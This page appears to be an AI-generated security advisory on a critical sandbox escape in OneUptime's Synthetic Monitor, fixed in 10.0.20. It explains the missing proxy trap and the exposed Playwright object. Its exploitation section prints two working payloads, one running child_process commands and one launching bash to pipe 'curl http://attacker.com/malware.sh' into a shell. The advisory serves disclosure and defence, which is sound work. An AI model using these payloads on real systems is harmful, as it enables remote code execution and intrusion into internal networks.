CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-4J36-39GM-8VQ8
9.9

OneUptime Synthetic Monitor RCE via Sandbox Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 7, 2026·6 min read·3 visits

PoC Available

Executive Summary (TL;DR)

Critical RCE in OneUptime allows authenticated users to escape the Synthetic Monitor sandbox and execute arbitrary commands on the probe server. Fixed in version 10.0.20.

A critical Remote Code Execution (RCE) vulnerability exists in OneUptime versions prior to 10.0.20, specifically within the `oneuptime-probe` service. The vulnerability stems from an insecure implementation of a JavaScript sandbox used for Synthetic Monitors, allowing authenticated users with low privileges to execute arbitrary code on the host system. The flaw is caused by the exposure of dangerous host objects to the sandbox context and an incomplete `Proxy` implementation that fails to trap specific object property accessors, enabling a complete sandbox escape.

Vulnerability Overview

OneUptime provides a "Synthetic Monitor" feature that allows users to define custom monitoring logic using Playwright scripts. These scripts are executed by the oneuptime-probe service to simulate user interactions with web applications. To support this, the service executes user-supplied JavaScript within a Node.js vm context, attempting to isolate the execution environment from the host operating system and the main Node.js process.

The vulnerability arises from fundamental design flaws in how this isolation is implemented. While the system employs a custom Proxy wrapper to intercept and sanitize access to global objects, it fails to comprehensively implement all necessary Proxy traps. Furthermore, the architecture injects live, privileged Playwright objects directly into the untrusted context. This combination allows malicious scripts to bypass the intended security boundaries completely.

The impact is categorized as Critical (CVSS 9.9) because it grants Remote Code Execution (RCE) to any user with permission to create or edit monitors. Since probes are often deployed within internal networks to monitor private services, this vulnerability serves as a potent specific entry point for lateral movement within a compromised infrastructure.

Root Cause Analysis

The root cause of this vulnerability is twofold: the incomplete implementation of the JavaScript Proxy mechanism used for sandboxing, and the direct exposure of powerful host objects.

1. Incomplete Proxy Traps (Sandbox Escape): The oneuptime-probe service uses a function createSandboxProxy to wrap objects exposed to the vm context. A JavaScript Proxy allows developers to define custom behavior for fundamental operations (traps) such as property lookup or assignment. However, the implementation in VMRunner.ts defined traps for get, apply, has, and ownKeys, but crucially omitted getOwnPropertyDescriptor.

When a script calls Object.getOwnPropertyDescriptor(target, prop) on a proxied object, and the proxy lacks the corresponding trap, the operation falls through to the target object. In this case, the target object exists in the host realm (outside the sandbox). The returned property descriptor contains references to the value's constructor. By accessing .value.constructor on a standard host object (like console.log), an attacker retrieves the host's Function constructor. This constructor can be used to generate new functions that execute in the host's context, bypassing the vm sandbox entirely.

2. Dangerous Object Exposure: Even without the Proxy escape, the implementation explicitly injects the host's Playwright browser and page instances into the VM context in SyntheticMonitor.ts. The Playwright Browser object exposes the browserType() method, which includes a launch() function. This function accepts an executablePath argument, allowing the caller to spawn arbitrary executables (e.g., /bin/bash) on the underlying system. This design error provides a direct path to command execution without requiring complex prototype manipulation.

Vulnerable Code Analysis

The following analysis highlights the specific deficiencies in the VMRunner.ts and SyntheticMonitor.ts files that facilitate this exploit.

The Proxy Trap Failure (VMRunner.ts): The sandbox relies on createSandboxProxy to restrict access. A robust sandbox proxy must implement all invariant traps to prevent leakage of the underlying object identity. The vulnerable code implements a subset of traps, leaving getOwnPropertyDescriptor exposed.

// VMRunner.ts (Vulnerable Implementation Concept)
const createSandboxProxy = (target: any) => {
    return new Proxy(target, {
        get: (target, prop) => { /* Custom logic */ },
        apply: (target, thisArg, args) => { /* Custom logic */ },
        // MISSING: getOwnPropertyDescriptor
    });
};

Because getOwnPropertyDescriptor is missing, the following chain allows escape:

  1. Attacker calls Object.getOwnPropertyDescriptor(console, 'log').
  2. The proxy passes the call to the real console object.
  3. The engine returns a descriptor: { value: [Function: log], writable: true, ... }.
  4. The value property is the host log function.
  5. value.constructor is the host Function constructor.

The Host Object Injection (SyntheticMonitor.ts): In Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts, the code initializes a Playwright environment and passes it directly to the VM runner.

// SyntheticMonitor.ts
const browser = await playwright.chromium.launch();
const context = await browser.newContext();
const page = await context.newPage();
 
// Vulnerability: Passing the raw host 'browser' object into the sandbox
await VMRunner.run(code, {
    browser: browser, // <--- DIRECT EXPOSURE
    page: page,
    // ... other context variables
});

By handing the browser instance to the untrusted code, the application effectively grants the script the same privileges as the oneuptime-probe process regarding process creation.

Exploitation Methodology

An attacker can exploit this vulnerability using the standard "Create Monitor" workflow in the OneUptime dashboard. No special network tooling is required; the attack is delivered purely via the application logic.

Vector A: Proxy Bypass (Sandbox Escape) This payload uses the missing proxy trap to reconstruct the process object, allowing execution of shell commands.

// In the "Playwright Code" editor:
 
// 1. Obtain the host Function constructor via the descriptor leak
const HostFunction = Object.getOwnPropertyDescriptor(console, "log").value.constructor;
 
// 2. Use HostFunction to create a function that returns the 'process' object
const getProcess = HostFunction("return process");
const proc = getProcess();
 
// 3. Import child_process and execute a reverse shell or command
const output = proc.mainModule.require("child_process").execSync("id").toString();
 
console.log(output); // Returns "uid=0(root) gid=0(root)..."

Vector B: Playwright Abuse This payload ignores the sandbox restrictions entirely by leveraging the authorized browser object to spawn a shell.

// In the "Playwright Code" editor:
 
// 1. Access the browser type (Chromium/Firefox/etc)
const browserType = browser.browserType();
 
// 2. Launch a new browser instance pointing to a system shell
await browserType.launch({
    executablePath: '/bin/bash',
    args: ['-c', 'curl http://attacker.com/malware.sh | bash']
});

Both methods result in the execution of commands with the privileges of the probe container (typically root or a specialized service user).

Impact Assessment

The successful exploitation of this vulnerability yields full control over the oneuptime-probe instance. The severity is magnified by the typical deployment patterns of monitoring probes.

Confidentiality (High): Attackers can read all environment variables, which often contain database credentials, API keys for third-party services (e.g., Slack, Twilio), and internal service authentication tokens. They can also access the source code and configuration files within the container.

Integrity (High): Attackers can modify the probe's behavior to report false monitoring data, masking service outages or injecting false positives. They can also persist access by modifying the container's filesystem (if not read-only) or injecting malicious code into the probe's runtime.

Availability (High): Attackers can terminate the probe process, consume all available system resources (CPU/RAM) via fork bombs, or use the probe as a launchpad for Denial of Service attacks against other internal services.

Lateral Movement Risk: Probes are frequently deployed inside Kubernetes clusters or internal VPCs to monitor non-public endpoints. Compromising a probe allows the attacker to scan the internal network, interact with internal APIs (e.g., Kubernetes API server), and pivot to other sensitive systems that trust the probe's IP address.

Official Patches

OneUptimeVulnerable code: SyntheticMonitor.ts
OneUptimeVulnerable code: VMRunner.ts

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected Systems

OneUptime Probe ServiceOneUptime Docker ContainersKubernetes Deployments of OneUptime

Affected Versions Detail

Product
Affected Versions
Fixed Version
@oneuptime/common
OneUptime
< 10.0.2010.0.20
AttributeDetail
CWE IDCWE-749
Attack VectorNetwork
CVSS Score9.9
ComplexityLow
Privileges RequiredLow
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1611Escape to Host
Privilege Escalation
T1203Exploitation for Client Execution
Execution
CWE-749
Exposed Dangerous Method or Function

Exposed Dangerous Method or Function

Vulnerability Timeline

Vulnerability Disclosed
2026-03-07
Patch Released (v10.0.20)
2026-03-07

References & Sources

  • [1]OSV Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.